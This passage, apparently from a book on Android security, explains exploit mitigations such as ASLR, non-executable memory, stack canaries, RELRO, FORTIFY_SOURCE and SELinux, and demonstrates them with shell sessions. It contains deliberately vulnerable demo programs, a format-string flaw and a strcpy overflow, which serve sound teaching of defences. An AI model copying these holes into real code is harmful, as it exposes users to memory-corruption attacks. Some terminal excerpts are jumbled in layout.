Though Android does use code-signing mechanisms extensively, the protection it provides pales in comparison to that of iOS. All of the previously
described mechanisms also apply to iOS in some way. The thing that sets iOS
apart is that Apple uses code signing to enforce whether memory regions can
be executed. Code can only be executed if it has been approved by Apple. This
prevents downloading and executing, or injecting, new code after an application passes the approval process. The only exception is a single memory region
marked with read, write, and execute permissions, which is used for just-intime (JIT) compiling in the browser. When combined with other mitigations,
Apple’s code signing makes traditional memory corruption attacks surprisingly
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difficult. Because Android does not enforce code signing this way, it does not
benefit from the protection such a technique provides. Memory trespass attacks
and downloading and executing new code after installation are both possible.
The other mitigation techniques presented in this chapter help to prevent some
exploits from working, but Trojan attacks remain unaffected.
Hardening the Heap
Around the time that the first mitigations targeting stack-based buffer overflow
vulnerabilities were introduced, heap overflows rose to popularity. In 1999,
Matthew Conover of the w00w00 security team published a text file called
heaptut.txt. The original text can be found at http://www.cgsecurity.org/
exploit/heaptut.txt. This document served as an introduction of the possibilities of what heap-based memory corruption could allow. Later publications
dug deeper and deeper, covering exploitation techniques specific to certain heap
implementations or applications. Despite the amount of existing material, heap
corruption vulnerabilities are still commonplace today.
At a high level, there are two main approaches to exploiting heap corruptions. The first method involves targeting application-specific data to leverage
arbitrary code execution. For example, an attacker may attempt to overwrite
a security critical flag or data used to execute shell commands. The second
method involves exploiting the underlying heap implementation itself, usually
metadata used by the allocator. The classic unlink technique is an example of
this approach, but many more attacks have been devised since. This second
method is more popular because such attacks can be applied more generically
to exploit individual vulnerabilities across an entire operating system or family
of operating system versions. How these attacks are mitigated vary from one
heap implementation to the next.
Android uses a modified version of Doug Lea’s memory allocator, or
dlmalloc for short. The Android-specific modifications are minor and are not
related to security. However, the upstream version of dlmalloc used (2.8.6) at
the time of this writing does contain several hardening measures. For example,
exploits using the classic unlink attack are not possible without additional effort.
Chapter 8 covers further details of how these mitigations work in Android.
Android has included a hardened version of dlmalloc since its first public release.
Protecting Against Integer Overflows
Integer overflow vulnerabilities, or integer overflows for short, are a type of
vulnerability that can result in many different types of unwanted behavior.
Modern computers use registers that are of finite size, usually 32 bit or 64 bit,
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to represent integer values. When an arithmetic operation occurs that exceeds
this finite space, the excess bits are lost. The portion that does not exceed the
space remains. This is called modular arithmetic. For example, when the two
numbers 0x8000 and 0x20000 are multiplied, the result is 0x100000000. Because
the maximum value of a 32-bit register is 0xffffffff, the uppermost bit would not
fit in the register. Instead the result value would be 0x00000000. Though integer
overflows can cause crashes, incorrect price calculations, and other issues, the
most interesting consequence is when memory corruption occurs. For example,
when such a value is passed to a memory allocation function, the result is a
buffer far smaller than what was expected.
On August 5, 2002, long time security researcher Florian Weimer notified
the then-popular Bugtraq mailing list of a serious vulnerability in the calloc
function of various C runtime libraries. This function takes two parameters: a
number of elements and the size of one element. Internally, it multiplies these
two values and passes the result to the malloc function. The crux of the issue
was that vulnerable C runtime libraries did not check if integer overflow had
occurred when multiplying. If the multiplication result was larger than a 32-bit
number, the function returned a much smaller buffer than what the caller
expected. The issue was fixed by returning NULL if integer overflow occurred.
The Android Security Team ensured that this fix was implemented prior to
the first release of Android. All versions of Android are protected against this
issue. In the Android security-related documentation, changes to calloc are
touted as security enhancement. Most security researchers would consider it
a success in not re-introducing a previously well-known vulnerability rather
than an “enhancement.” That said, this particular issue was never assigned a
Common Vulnerabilities and Exposures (CVE) identifier! We don’t really see
this as an exploit mitigation, but it was included here for completeness.
Android attempts a more holistic approach to avoiding integer overflows by
including a library developed by Google Chrome OS developer Will Drewry
called safe_iop. The name is short for “safe integer operations.” It includes special
arithmetic functions that return failure when an integer overflow occurs. This
library is designed to be used for sensitive integer operations, in lieu of the
language-intrinsic arithmetic operators. Examples include calculating the size
of a block of dynamic memory or incrementing a reference counter. Android
has included this library since the very first release.
During the course of writing this book, we investigated Android’s use of
safe_iop in further detail. We examined Android 4.2.2, the latest release at the
time of this writing. We found only five source files included the safe_iop header.
Taking a deeper look, we looked for references to the safe_add, safe_mul, and
safe_sub functions provided by the library. Each function is referenced five,
two, and zero times, respectively. Primarily these uses lie in Bionic’s libc, the
stock recovery’s minzip, and Dalvik’s libdex. Further, Android’s version appears
to be out of date. The current upstream version is 0.4.0 with several commits on
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the way to 0.5.0. An AOSP commit references version 0.3.1, which is the current
release version. However, the safe_iop.h header file does not contain version
0.3.1 in the change log. Overall this is somewhat disappointing given the benefit
widespread use of such a library could have.
Preventing Data Execution
One common exploit-mitigation technique used by modern systems aims to
prevent attackers from executing arbitrary code by preventing the execution
of data. Machines based on the Harvard architecture contain this protection
inherently. Those systems physically separate memory that holds code from
memory that holds data. However, very few systems, including ARM-based
devices, use that architecture in its pure form.
Instead, modern systems are based on a modified Harvard architecture or
the Von Neumann architecture. These architectures allow code and data to
coexist in the same memory, which enables loading programs from disk and
eases software updates. Because these tasks are crucial to the convenience of
a general-purpose computer, systems can only partially enforce code and data
separation. When designing this mitigation, researchers chose to focus on the
execution of data specifically.
In 2000 and 2002, pipacs of the PaX team pioneered two techniques to prevent
executing data on the i386 platform. Because the i386 platform does not allow
marking memory as non-executable in its page tables, these two software-only
techniques abused rarely used hardware features. In 2000, PaX included a technique called PAGEEXEC. This technique uses the Translation Lookaside Buffer
(TLB) caching mechanism present in those central processing units (CPUs) to
block attempts to execute data. In 2002, PaX added the SEGMEXEC technique.
This approach uses the segmentation features of i386 processors to split userspace memory into two halves: one for data and one for code. When fetching
instructions from memory stored only in the data area, a page fault occurs that
allows the kernel to prevent data from executing. Though PaX struggled with
wide adoption, a variant of the SEGMEXEC technique was included in many
Linux distributions as exec-shield. These techniques predate, and very likely
inspired, the modern techniques used to prevent executing data.
Modern devices use a combination of hardware and software support to prevent
executing data. Current ARM and x86 processors support this feature, though
each platform uses slightly different terminology. AMD introduced hardware
support for Never Execute (NX) in AMD64 processors such as the Athlon 64
and Opteron. Later, Intel included support for Execute Disable (XD) in Pentium
4 processors. ARM added support for Execute Never (XN) in ARMv6. The HTC
Dream, also known as G1 or ADP1, used this processor design.
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In both ARM and x86 architectures, the operating system kernel must support using the feature to denote that certain areas of memory should not be
executable. If a program attempts to execute such an area of memory, a processor fault is generated and delivered to the operating system kernel. The kernel
then handles the fault by delivering a signal to the offending process, which
usually causes it to terminate.
The Linux kernel marks the stack memory of a program as executable unless it
finds a GNU_STACK program header without the executable flag set. This program
header is inserted into the binary by the compiler tool chain when compiled
with the -znoexecstack option. If no such program header exists, or one exists
with the executable flag set, the stack is executable. As a side effect, all other
readable mappings are executable as well.
Determining whether a particular binary contains such a program header
can be accomplished using either the execstack or readelf programs. These
programs are available on most Linux distributions and are also included in the
Android Open Source Project (AOSP) repository. The following excerpt shows
how to query the executable stack status of a given binary using each program.
dev:~/android $ execstack -q cat*
? cat-g1
- cat-gn-takju
X cat-gn-takju-CLEARED
dev:~/android $ readelf -a cat-g1 | grep GNU_STACK
dev:~/android $ readelf -a cat-gn-takju | grep GNU_STACK
GNU_STACK
0x000000 0x00000000 0x00000000 0x00000 0x00000 RW
0
dev:~/android $ readelf -a cat-gn-takju-CLEARED | grep GNU_STACK
GNU_STACK
0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0
In addition to using these programs, it is also possible to find out if memory
mappings are executable via the maps entry in the proc file system. The following
excerpts show the mappings for the cat program on a Galaxy Nexus running
Android 4.2.1 and a Motorola Droid running Android 2.2.2.
[email protected]:/ $
[email protected]:/ $
409e4000-409ec000
bebaf000-bebd0000
# on the Galaxy Nexus running Android 4.2.1
cat /proc/self/maps | grep -E '(stack|heap)'
rw-p 00000000 00:00 0
[heap]
rw-p 00000000 00:00 0
[stack]
$ # on the Motorola Droid running Android 2.2.2
$ cat /proc/self/maps | grep -E '(stack|heap)'
0001c000-00022000 rwxp 00000000 00:00 0
bea13000-bea14000 rwxp 00000000 00:00 0
[heap]
[stack]
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Each line in the maps file contains the start and end address, permissions,
page offset, major, minor, inode and name of a memory region. As you can
see from the permissions fields in the earlier code, the stack and heap are not
executable on the Galaxy Nexus. However, they are both executable on the
older Motorola Droid.
Although the Linux kernel from the initial 1.5 release of Android supports
this mitigation, system binaries were not compiled with support for the feature. Commit 2915cc3 added support on May 5, 2010. Android 2.2 (Froyo) was
released only two weeks later, but did not include the protection. The next release,
Android 2.3 (Gingerbread), finally brought this mitigation to consumer devices.
Still, some Gingerbread devices, such as the Sony Xperia Play running Android
2.3.4, only partially implemented this mitigation. The following excerpt shows
the stack and heap memory mappings on such a device.
$ # on a Sony Xperia Play with Android 2.3.4
$ cat /proc/self/maps | grep -E '(stack|heap)'
0001c000-00023000 rwxp 00000000 00:00 0
7e9af000-7e9b0000 rw-p 00000000 00:00 0
[heap]
[stack]
Here, the stack is not executable, but data within the heap can still be executed.
Inspecting the kernel sources for this device shows the heap was kept executable
for legacy compatibility reasons, though it is unclear if this was truly necessary.
This mitigation was enabled in the Native Development Kit (NDK) with the release
of revision 4b in June 2010. After that release, all versions of AOSP and the NDK
enable this compiler option by default. With this protection present, attackers
cannot directly execute native code located within non-executable mappings.
Address Space Layout Randomization
Address Space Layout Randomization (ASLR) is a mitigation technique that aims
to introduce entropy into the address space of a process. It was introduced by the
PaX team in 2001 as a stop-gap measure. Most exploits from the pre-ASLR era
depended on hard-coded addresses. Although this was not a strict requirement,
exploit developers of that time used such addresses to simplify development.
This mitigation is implemented in several places throughout the operating
system kernel. However, similar to preventing data execution, the kernel enables
and disables ASLR based on information in the binary format of executable
code modules. Doing this means that support is also required in the compiler
tool chain.
There are many types of memory provided by the Linux kernel. This includes
regions provided the brk and mmap system calls, stack memory, and more. The
brk system call provides the memory area where the process stores its heap
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data. The mmap system call is responsible for mapping libraries, files, and other
shared memory into a process’s virtual address space. Stack memory is allocated
early in process creation.
ASLR functions by introducing entropy in the virtual addresses allocated by
these facilities. Because there are multiple places where these regions are created,
randomizing each memory area requires special considerations and individual
implementation. For that reason, ASLR is often implemented in phases. History
has shown that implementers will release different versions of their operating
systems with varying amounts of support for ASLR. After all possible memory
segments are randomized, the operating system is said to support “Full ASLR.”
Even if a system fully supports ASLR, a given process’s address space might
not be fully randomized. For example, an executable that does not support
ASLR cannot be randomized. This happens when the compiler flags required
to enable certain features were omitted at compile time. For example, positionindependent executable (PIE) binaries are created by compiling with the -fPIE
and -pie flags. You can determine if a particular binary was compiled with
these flags by inspecting the type field using the readelf command, as shown
in the following excerpt.
dev:~/android $ # cat binary from Android 1.5
dev:~/android $ readelf -h cat-g1 | grep Type:
Type:
EXEC (Executable file)
dev:~/android $ # cat binary from Android 4.2.1
dev:~/android $ readelf -h cat-gn-takju | grep Type:
Type:
DYN (Shared object file)
When a binary supports having its base address randomized, it will have the
type DYN. When it does not, it will have the type EXEC. As you can see in the
preceding code, the cat binary from the G1 cannot be randomized, but the one
from the Galaxy Nexus can. You can verify this by sampling the base address
in the maps file from proc several times, as shown here:
# # two consecutive samples on Android 1.5
# /system/bin/toolbox/cat /proc/self/maps | head -1
00008000-00018000 r-xp 00000000 1f:03 520
/system/bin/toolbox
# /system/bin/toolbox/cat /proc/self/maps | head -1
00008000-00018000 r-xp 00000000 1f:03 520
/system/bin/toolbox
[email protected]:/ $
[email protected]:/ $
head -1
4000e000-4002b000
[email protected]:/ $
head -1
40078000-40095000
# two consecutive samples on Android 4.2.1
/system/bin/cat /proc/self/maps | grep toolbox | \
r-xp 00000000 103:02 267
/system/bin/toolbox
/system/bin/cat /proc/self/maps | grep toolbox | \
r-xp 00000000 103:02 267
/system/bin/toolbox
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The excerpts clearly show that proper binary base randomization occurs on
Android 4.2.1. This can be seen from the first number, the base addresses of
the binary’s code region. The base addresses differ between two consecutive
executions, 0x4000e000 for the first, and 0x40078000 for the second. As expected,
the base address of Android 1.5 binary does not get randomized.
N O T E The cat binary on Android is often just a symbolic link to the toolbox
binary. Additionally, the shell provided by Android sometimes includes the cat command as a built-in. On those systems, it’s necessary to execute /system/bin/cat to
get an accurate sampling across executions.
Another memory area that tends to be overlooked is the vdso (x86) or vectors
(ARM) regions. These memory mappings facilitate easier and quicker communication with the kernel. Up until 2006, x86 Linux did not randomize the vdso
memory region. Even after the kernel supported randomizing the vdso, some
Linux distributions did not enable the required kernel configuration option
until much later.
Similar to other modern operating systems, Android’s support for ASLR was
implemented in phases. Initial ASLR support, introduced in 4.0, only included
randomization for the stack and regions created by the mmap system call (including
dynamic libraries). Android 4.0.3 implemented randomization for the heap in
commit d707fb3. However, ASLR was not implemented for the dynamic linker
itself. Georg Wicherski and Joshua J. Drake leveraged this fact when they developed the browser exploit discussed in Chapter 8 and Chapter 9. Android 4.1.1
made significant improvements by adding entropy into the base addresses of
the dynamic linker and all system binaries. As of this writing, Android almost
fully supports ASLR. The only remaining memory region that is not randomized is the vectors region.
N O T E Combining multiple mitigations, in a layered approach, is a form of defense
in depth. Doing so significantly complicates the creation of reliable exploits. The best
example is when ASLR and XN are both fully enabled. In isolation, they have limited
effect. Without full ASLR, attackers can use Return-Oriented Programming, covered
in Chapter 9, to bypass XN. Full ASLR without XN is easily circumvented by using techniques such as heap spraying. Each of these mitigations complements the other, making for a much stronger security posture.
Protecting the Stack
In order to combat stack-based buffer overflows, Crispin Cowan introduced a
protection called StackGuard in 1997. The protection works by storing a canary
value before the saved return address of the current stack frame. The canary,
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sometimes called a cookie, is created dynamically in a function’s prologue. The
code to do so is inserted by the compiler at compile time. Initially, the canary
value consisted of all zeros. Later, the protection was updated to use randomized cookie values, which prevents exploiting buffer overflows occurring from
memcpy operations. Eventually StackGuard became unmaintained and other
implementations of stack protection were created.
To fill the gap left by StackGuard, Hiroaki Etoh of IBM started a project called
ProPolice. Also known as Stack-Smashing-Protector (SSP), ProPolice differs from
StackGuard in a few ways. First, IBM implemented the protection in the front
end of the compiler instead of the back end. Second, IBM extended protection to
include more than just the return address of protected functions. Third, variables
are reordered such that overflowing a buffer or array is less likely to corrupt
other local variables. Finally, ProPolice creates a copy of function arguments
in order to protect them from corruption as well. ProPolice is standard in the
GNU Compiler Collection (GCC) and enabled by default by many operating
systems, including Android.
In Android, the ProPolice stack protection is enabled by passing the -fstackprotector flag to the GCC compiler. Android has supported this feature since
the first public version, Android 1.5. In addition to being used to compile the
operating system itself, this mitigation was enabled by default for the NDK
used by third-party developers. This ensures that all binaries are compiled with
this protection by default. Android adopted this mitigation very early, which
certainly rendered a number of stack-based buffer overflow vulnerabilities
non-exploitable.
Format String Protections
Format string vulnerabilities represent a very interesting class of issues. When
first discovered and documented, many people were surprised that such a
mistake could be exploited. As more people started to understand and exploit
the issues, mitigation research began. In 2001, several researchers presented a
paper called “FormatGuard: Automatic Protection From printf Format String
Vulnerabilities.” Currently, several mitigation strategies, many of which are
described in the FormatGuard paper, exist for dealing with this class of issues.
One strategy involves special compiler flags that detect potentially exploitable format string issues at compile time. Calling this protection a mitigation
is a bit of a misnomer. Rather than preventing exploitation of issues that escape
detection, it aims to prevent introducing issues into a running system at all.
This protection is invoked by passing the compiler flags -Wformat-security and
-Werror=format-security when compiling code. The following shell session
excerpt shows the behavior of the compiler with these flags enabled:
dev:~/android $ cat fmt-test1.c
#include <stdio.h>
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int main(int argc, char *argv[]) {
printf(argv[1]);
return 0;
}
dev:~/android $ gcc -Wformat-security -Werror=format-security -o test \
fmt-test1.c
fmt-test1.c: In function 'main':
fmt-test1.c:3:3: error: format not a string literal and no format
arguments [-Werror=format-security]
cc1: some warnings being treated as errors
dev:~/android $ ls -l test
ls: cannot access test: No such file or directory
As shown in the excerpt, the compiler prints an error instead of producing
an executable. The compiler successfully detected that a nonconstant string was
passed as the format string parameter to the printf function. Such a nonconstant string is assumed to be controllable by an attacker, and therefore might
represent a security vulnerability.
However, this protection is not comprehensive. Some vulnerable programs
will not be detected by this protection. For example, the following program does
not produce any warning and therefore a binary is produced.
dev:~/android $ cat fmt-test2.c
#include <stdio.h>
int main(int argc, char *argv[]) {
printf(argv[1], argc);
return 0;
}
dev:~/android $ gcc -Wformat-security -Werror=format-security -o test \
fmt-test2.c
dev:~/android $ ls -l test
dev:~/android $ ./test %x
2
Many other such corner cases exist. An example is a custom function that
uses the variable argument facilities, provided by the stdarg.h header. GCC
implements this protection using the __format__ function attribute. The following excerpt from bionic/libc/include/stdio.h in the AOSP tree shows
this annotation for the printf function.
237 int
238
printf(const char *, ...)
__attribute__((__format__ (printf, 1, 2)))
This function attribute has three arguments. The first argument is the function
name. The second and third arguments index the parameters passed to printf,
starting with one. The second argument indicates the index of the format string
itself. The third argument refers to the index of the first argument following the
format string. The printf function is just one of many functions annotated in
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this way. If a custom variable argument function is not annotated this way, GCC’s
-Wformat warning facility cannot detect the potentially vulnerable condition.
Android first distributed binaries built with the -Wformat-security flag in
version 2.3, known as Gingerbread. The source code change that introduced
this occurred on May 14, 2010. The relevant commit identifier was d868cad.
This change ensures that all code built as part of Android is protected by this
protection. All versions of the NDK shipped with a compiler that supports this
feature, but the default configuration did not use this compiler flag until version r9 in July 2013. As such, source code built using older versions of the NDK
will remain susceptible to format string attacks unless the developer manually
intervenes.
T I P Default compiler flags for AOSP builds are found within the build/core/
combo/TARGET_linux-<arch>.mk file, where <arch> represents the target architecture (usually arm).
Another strategy involves disabling the %n format specifier. This specifier is
used to precisely corrupt memory when exploiting format string vulnerabilities. The Android developers removed support for the %n specifier from Bionic
in October 2008, prior to the first public release of Android. However, while
neutering this specifier may make some issues non-exploitable, it does not
holistically address the class of issues. An attacker could still potentially cause
a buffer overflow or denial of service condition using other format specifiers.
Yet another strategy is enabled when defining _FORTIFY_SOURCE to 2 at compile time. This mitigation technique prevents using the %n specifier in a format
string that resides within writable memory. Contrary to the -Wformat-security
flag, this protection also contains a runtime component implemented in the
operating system C runtime library. You can read more about this strategy
and its inclusion in Android in further detail in the “Fortifying Source Code”
section later in this chapter.
Read-Only Relocations
Another popular technique for exploiting memory corruption vulnerabilities
involves overwriting pointers used to resolve external functions. Primarily, this
involves changing entries in the Global Offset Table (GOT) to point to attackersupplied machine code or other advantageous functions. This technique has
been used in numerous exploits in the past since the GOT entry addresses are
easily found using tools like readelf and objdump.
To prevent attackers from using this technique, long-time Linux contributor
Jakub Jelinek proposed a patch on the binutils mailing list. You can see the
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original post at http://www.sourceware.org/ml/binutils/2004-01/msg00070.
html. This patch marks the birth of a mitigation called Read-Only Relocations,
or relro for short. First, the compiler generates a binary that opts into this protection using the -Wl,-z,relro compiler flag. You can determine if a particular
binary is protected by this mitigation using the readelf command shown here:
dev:~/android $ # cat binary from Android 1.5
dev:~/android $ readelf -h cat-g1 | grep RELRO
dev:~/android $ # cat binary from Android 4.2.1
dev:~/android $ readelf -h cat-gn-takju | grep RELRO
GNU_RELRO
0x01d334 0x0001e334 0x0001e334 0x00ccc 0x00ccc RW
0x4
Unfortunately, using only the -Wl,-z,relro flag is insufficient. Using only
this flag enables what is known as partial relro. In this configuration, the GOT
is left writable. In order to achieve maximum effectiveness, or full relro, you
also need the -Wl,-z,now flag. The following excerpt shows how to check if
full relro is enabled.
dev:~/android $ readelf -d cat-gn-takju | grep NOW
0x0000001e (FLAGS)
BIND_NOW
0x6ffffffb (FLAGS_1)
Flags: NOW
Adding this additional flag instructs the dynamic linker to load all dependencies when the program starts. Because all dependencies are resolved, the linker
no longer needs to update the GOT. Therefore, the GOT is marked as read-only
for the remainder of the program’s execution. With this memory area read-only, it
is not possible to write there without first changing the permissions. An attempt
to write to the GOT crashes the process and prevents successful exploitation.
Android included this mitigation in April 2012 as part of version 4.1.1. It
correctly uses both the required flags to achieve a read-only GOT area. The
relevant AOSP commit identifier was 233d460. Revision 8b was the first NDK
release to use this protection. After that release, all versions of AOSP and the
NDK enable this compiler option by default. As with format string protections,
source code built with older versions of the NDK will remain vulnerable until
the developer recompiles with a newer version of the NDK. With this protection
present, attackers cannot write to the GOT or execute data stored there.
Sandboxing
Sandboxing has become a popular mitigation technique in the last five years,
since the release of Google Chrome. The primary goal of sandboxing is to take
the principle of least privilege to the next level by running parts of a program
with reduced privileges and/or functionality. Some code simply has a higher
risk profile, whether due to low code quality or increased exposure to untrusted
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data. Running riskier code in a constrained environment can prevent successful attacks. For example, a sandbox may prevent an attacker from accessing
sensitive data or harming the system, even if the attacker can already execute
arbitrary code. Popular Windows desktop software such as Microsoft Office,
Adobe Reader, Adobe Flash, and Google Chrome use sandboxing to some extent.
Android has used a form of sandboxing since its first release. Recall from
Chapter 2 that Android uses individual user accounts to isolate processes from
each other. This type of sandboxing is fairly coarse-grained, but nevertheless is
a legitimate form of sandboxing. Later, Android version 4.1 added the Isolated
Services feature that allows an application to spawn a separate process that
runs under a different user ID. Due to the availability of this feature, Chrome
for Android uses a slightly stronger sandbox on Jelly Bean–based devices than
on devices with earlier versions of Android. Future revisions of Android are
likely to include further enhancements in this area. You can read more about
one such initiative in the “Future of Mitigations” section later in this chapter.
Fortifying Source Code
In 2004, long time Linux contributor Jakub Jelinek created the source fortification mitigation in an effort to prevent common buffer overflow flaws from
being exploited. It is implemented in two parts: one in the compiler and one in
the operating system C library. When building source code with optimization
enabled and -D_FORTIFY_SOURCE, the compiler wraps calls to traditionally errorprone functions. Wrapper functions in the C library validate various properties
of the parameters passed to the original function at run time. For example, the
size of the destination buffer passed to a call to the strcpy function is checked
against the length of the source string. Specifically, attempting to copy more
bytes than the destination buffer can hold results in a validation failure and
program termination.
The strcpy function is only one of many wrapped functions. Exactly which
functions are fortified vary from one implementation to the next. The GCC compiler and C library included with Ubuntu 12.04 contains more than 70 wrapped
functions. The general technique of instrumenting potentially dangerous functions is quite powerful, and can be applied to do more than just check for buffer
overflows. In fact, using a value of 2 enables additional checks, including some
that prevent exploiting format string attacks.
The following excerpt shows an example of FORTIFY_SOURCE in action on an
Ubuntu 12.04 x86_64 machine:
dev:~/android $ cat bof-test1.c
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
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char buf[256];
strcpy(buf, argv[1]);
return 0;
}
dev:~/android $ gcc -D_FORTIFY_SOURCE=1 -O2 -fno-stack-protector -o \
test bof-test.c
dev:~/android $ ./test `ruby -e 'puts "A" * 512'`
*** buffer overflow detected ***: ./test terminated
======= Backtrace: =========
...
The test program is a simple contrived example that contains a buffer overflow flaw. When you attempt to copy too many bytes, the impending memory
corruption is detected and the program is aborted.
During the development of 4.2, FORTIFY_SOURCE was implemented in the
Android operating system. Unfortunately, these changes are not yet supported
in the Android NDK. A series of several commits (0a23015, 71a18dd, cffdf66,
9b549c3, 8df49ad, 965dbc6, f3913b5, and 260bf8c) to the Bionic C runtime library
fortified 15 of the most commonly misused functions. The following excerpt
examines the libc.so binary from Android 4.2.2. We used the command from
the Ubuntu CompilerFlags page at https://wiki.ubuntu.com/ToolChain/
CompilerFlags to get this number.
dev:~/android/source $ arm-eabi-readelf -a \
out/target/product/maguro/system/lib/libc.so \
| egrep ' FUNC .*_chk(@@| |$)' \
| sed -re 's/ \([0-9]+\)$//g; s/.* //g; s/@.*//g;' \
| egrep '^__.*_chk$' \
| sed -re 's/^__//g; s/_chk$//g' \
| sort \
| wc -l
15
Prior to Android 4.4, only level 1 of the FORTIFY_SOURCE mitigation is implemented. Although this does not include protections against format string
attacks, it does include buffer overflow checks. It even includes a few Bioniconly extensions that check parameters passed to the strlen function, as well
as the BSD strlcpy and strlcat functions. Android 4.4 implemented level 2
of the FORTIFY_SOURCE mitigation.
To confirm that FORTIFY_SOURCE is in effect, we execute our test on a Galaxy
Nexus running Android 4.2.2. The build environment consists of a checkout of
AOSP tag android-4.2.2_r1 on an Ubuntu x86_64 development machine. The
following excerpt shows the results of the test.
dev:~/android/source $ . build/envsetup.h
...
dev:~/android/source $ lunch full_maguro-userdebug
...
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dev:~/android/source $ tar zxf ~/ahh/bof-test.tgz
dev:~/android/source $ make bof-test
[... build proceeds ...]
dev:~/android/source $ adb push \
out/target/product/maguro/system/bin/bof-test /data/local/tmp
121 KB/s (5308 bytes in 0.042s)
dev:~/android/source $ adb shell
[email protected]:/ $ myvar=`busybox seq 1 260 | busybox sed 's/.*/./' \
| busybox tr -d '\n'`
[email protected]:/ $ echo -n $myvar | busybox wc -c
260
[email protected]:/ $ /data/local/tmp/bof-test $myvar &
[1] 29074
[email protected]:/ $
[1] + Segmentation fault
/data/local/tmp/bof-test $myvar
[email protected]:/ $ logcat -d | grep buffer
F/libc
(29074): *** strcpy buffer overflow detected ***
We use the AOSP build system to compile the program to verify that FORTIFY_
SOURCE is enabled as part of the default compilation settings. As you can see,
the impending memory corruption is once again detected, and the program is
aborted. Rather than print the error to the console, Android logs the error using
its standard mechanisms.
As powerful as source fortification is, it is not without drawbacks. First of all,
FORTIFY_SOURCE only works when operating on buffers for which the compiler
knows the size. For example, it is unable to validate the length of a variable
size buffer passed as the destination pointer to strcpy. Because this mitigation
requires compiling with special flags, it cannot be retroactively applied to binaryonly components. Even with these shortcomings, FORTIFY_SOURCE is a powerful
mitigation that has certainly prevented many bugs from being exploited.
Access Control Mechanisms
Access control enables administrators to limit what can be done within a computer system. There are two main types of access control: Discretionary Access
Control (DAC) and Mandatory Access Control (MAC). Another mechanism,
called Role-Based Access Control (RBAC) also exists. Although RBAC is similar
to DAC and MAC, it is different in that it is more flexible. It can include elements
of both DAC and MAC. These mechanisms are used to prevent lesser-privileged
users from accessing valuable system resources or resources which they do not
need to access.
Though MAC and DAC are similar in that they allow protecting resources,
they differ in one major way. Where DAC allows users to modify access policies themselves, MAC policies are controlled by the system administrators.
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The best example of DAC is UNIX file system permissions. A nonprivileged
user can change the permissions of files and directories that he owns in order
to give other users access. This does not require permission from the system
administrator. A relevant example of MAC is SELinux, in which the system
administrator must define and maintain who has access to what.
Throughout 2012 and in early 2013, Stephen Smalley, Robert Craig, Kenny
Root, Joshua Brindle, and William Roberts ported SELinux to Android. In April
2013, Samsung implemented SELinux on its Galaxy S4 device. SELinux has three
modes of enforcement: disabled, permissive, and enforcing. Setting enforcement to disabled means that SELinux is present but not doing anything. Using
the permissive enforcement mode, SELinux logs policy violations but does not
deny access. Finally, enforcing mode strictly enforces policies by denying access
attempts that violate them. On the Galaxy S4, the default enforcement mode is
set to permissive. Samsung’s KNOX enterprise product as well as newer Galaxy
S4 firmware revisions use enforcing mode. Google announced official support
for SELinux in Android 4.3, but it used permissive mode. Android 4.4 was the
first version to include SELinux in enforcing mode.
SELinux is not the only access control solution that has been seen on Android
devices. Another MAC implementation called TOMOYO is known to be used on
the LG Optimus G sold in Japan. At boot, the TOMOYO policy loaded by ccsinit prevents running a shell as root. Also, a kernel module called sealime.
ko was found on a Toshiba Excite Android tablet. It appears that it was at least
loosely based on preliminary work porting SELinux to Android.
Just like other mitigation techniques, MAC solutions do have trade-offs. First
of all, they are usually quite difficult to configure properly. Typically, policies are
developed by putting the MAC into a learning mode and performing allowed
operations. The alternative is a long, drawn-out process in which a policy creator
must manually create rules for every allowed event. Both approaches are errorprone because invariably some allowed operations get overlooked or incorrect
assumptions are made. Auditing these policies is a high priority when reviewing the security of systems that employ access control mechanisms. A properly
configured MAC can cause massive headaches for an attacker, regardless of
which specific implementation is used.
Protecting the Kernel
Over the years, many researchers, including the PaX team and Brad Spengler,
worked to harden the Linux kernel. This includes not only user-space work
mentioned previously in this chapter but also work to prevent exploiting the
kernel itself. However, the researchers have not been successful in getting their
changes included in the official kernel source code. A few researchers — notably
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Kees Cook, Dan Rosenberg, and Eric Paris — have had limited success in this
area. That said, convincing the kernel maintainers to implement security-specific
hardening measures remains a challenging proposition. As Kees and Eric have
shown, implementing such measures in a Linux distribution-specific patch first
helps. The rest of this section serves to document the hardening measures that
are present in the Linux kernels used by Android devices.
Pointer and Log Restrictions
The kptr_restrict and dmesg_restrict kernel settings aim to prevent local,
unprivileged users from obtaining sensitive kernel memory address information.
Past kernel exploits used address information from virtual file system entries
whose output are generated from within kernel-space. By resolving this information on the fly, exploit developers are able to eliminate hard-coded addresses
and create exploits that work on multiple systems without additional effort.
For kptr_restrict, modifications were made to the printk function. Specifically,
changes enabled kernel developers to use the %pK format specifier when printing sensitive kernel pointers. Inside printk, the behavior varies based on the
kptr_restrict setting. The values currently supported include disabled (0),
require CAP_SYSLOG (1), or always replace (2). This protection comes into play
when attempting to access sysfs and procfs entries such as /proc/kallsyms.
The following excerpt is from a Galaxy Nexus running Android 4.2.1:
[email protected]:/ $ grep slab_alloc /proc/kallsyms
00000000 t __slab_alloc.isra.40.constprop.45
As you can see, the address is not shown. Instead, eight zeros are displayed.
Similarly, dmesg_restrict prevents unprivileged users from accessing the
kernel ring buffer using the dmesg command or klogctl function. The following message accompanied the original patch submitted to the Linux Kernel
Mailing List (LKML).
Rather than futilely attempt to sanitize hundreds (or thousands) of printk
statements and simultaneously cripple useful debugging functionality, it is
far simpler to create an option that prevents unprivileged users from reading the syslog.
It was simply quicker and easier to protect access to the kernel ring buffer than
it was to continue updating potentially sensitive pointer values. Also, several
Linux kernel developers actively opposed changes involved in implementing
kptr_restrict.
These hardening measures were developed by Dan Rosenberg. They were first
introduced in Linux kernel version 2.6.38. Android devices using such a kernel
have support for this feature, though they may not enable it. Commits 2e7c833
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and f9557fb landed on AOSP in November 2011. These changes set the values
of kptr_restrict and dmesg_restrict to 2 and 1, respectively, in the default
init.rc file. Android 4.1.1 was the first release to ship with these changes.
N O T E More information about these and other settings is available in the Linux
kernel documentation located in Documentation/sysctl/kernel.txt in the
kernel source tree.
Protecting the Zero Page
One class of issues that has plagued kernel code is null pointer dereferences.
Normally nothing is mapped at the lowest addresses (0x00000000) on a Linux
system. However, prior to Eric Paris introducing the implementation of mmap_
min_addr in 2007, it was possible to intentionally map this page in user-space.
After mapping it, an attacker could fill this area of memory with contents of
their choosing. Triggering null pointer–related issues in kernel-space code then
ends up using attacker-controlled content. In many cases, this led to arbitrary
kernel-space code execution.
This protection works simply by preventing user-space processes from mapping pages of memory below a specified threshold. The default value for this
